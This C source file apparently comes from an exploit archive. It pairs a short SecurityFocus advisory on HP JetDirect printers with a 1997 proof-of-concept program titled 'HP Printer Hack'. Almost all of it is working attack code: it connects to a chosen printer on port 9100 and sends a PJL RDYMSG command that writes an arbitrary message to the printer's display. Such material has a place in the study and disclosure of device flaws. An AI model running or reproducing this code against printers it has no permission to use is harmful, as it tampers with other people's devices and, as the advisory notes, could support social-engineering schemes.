81 lines
No EOL
2.2 KiB
C
81 lines
No EOL
2.2 KiB
C
/*
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source: https://www.securityfocus.com/bid/2245/info
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Certain versions of HP JetDirect enabled printers provide a function (PJL command) that changes the LCD display on a printer over TCP/IP. Arbitrary strings can be sent to the LCD display by a remote user using this command. This represents more of a nuisance than a threat, although it is conceivable that the ability to modify the display could be used in some sort of "social engineering" scheme.
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*/
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/*
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HP Printer Hack
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12/8/97 sili@l0pht.com
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*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <stdio.h>
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#define PORT 9100
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int main (int argc, char *argv[]) {
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int sockfd,len,bytes_sent; /* Sock FD */
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struct hostent *host; /* info from gethostbyname */
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struct sockaddr_in dest_addr; /* Host Address */
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char line[100];
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if (argc !=3) {
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printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
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printf("\tMessage can be up to 16 characters long\n");
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exit(1);
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}
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if ( (host=gethostbyname(argv[1])) == NULL) {
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perror("gethostbyname");
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exit(1);
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}
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printf ("HP Display hack -- sili@l0pht.com\n");
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printf ("Hostname: %s\n", argv[1]);
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printf ("Message: %s\n",argv[2]);
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/* Prepare dest_addr */
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dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
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dest_addr.sin_port= htons(PORT) ; /* PORT defined above */
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/* Prepare dest_addr */
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bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
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bzero(&(dest_addr.sin_zero), 8); /* Take care of sin_zero ??? */
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/* Get socket */
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/* printf ("Grabbing socket....\n"); */
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if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
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perror("socket");
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exit(1);
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}
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/* Connect !*/
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printf ("Connecting....\n");
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if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
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perror("connect");
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exit(1);}
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/* Preparing JPL Command */
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strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
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strncat(line,argv[2],16);
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strcat(line,"\"\r\n\033%-12345X\r\n");
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/* Sending data! */
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/* printf ("Sending Data...%d\n",strlen(line));*/
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/* printf ("Line: %s\n",line); */
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bytes_sent=send(sockfd,line,strlen(line),0);
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printf("Sent %d bytes\n",bytes_sent);
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close(sockfd);
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} |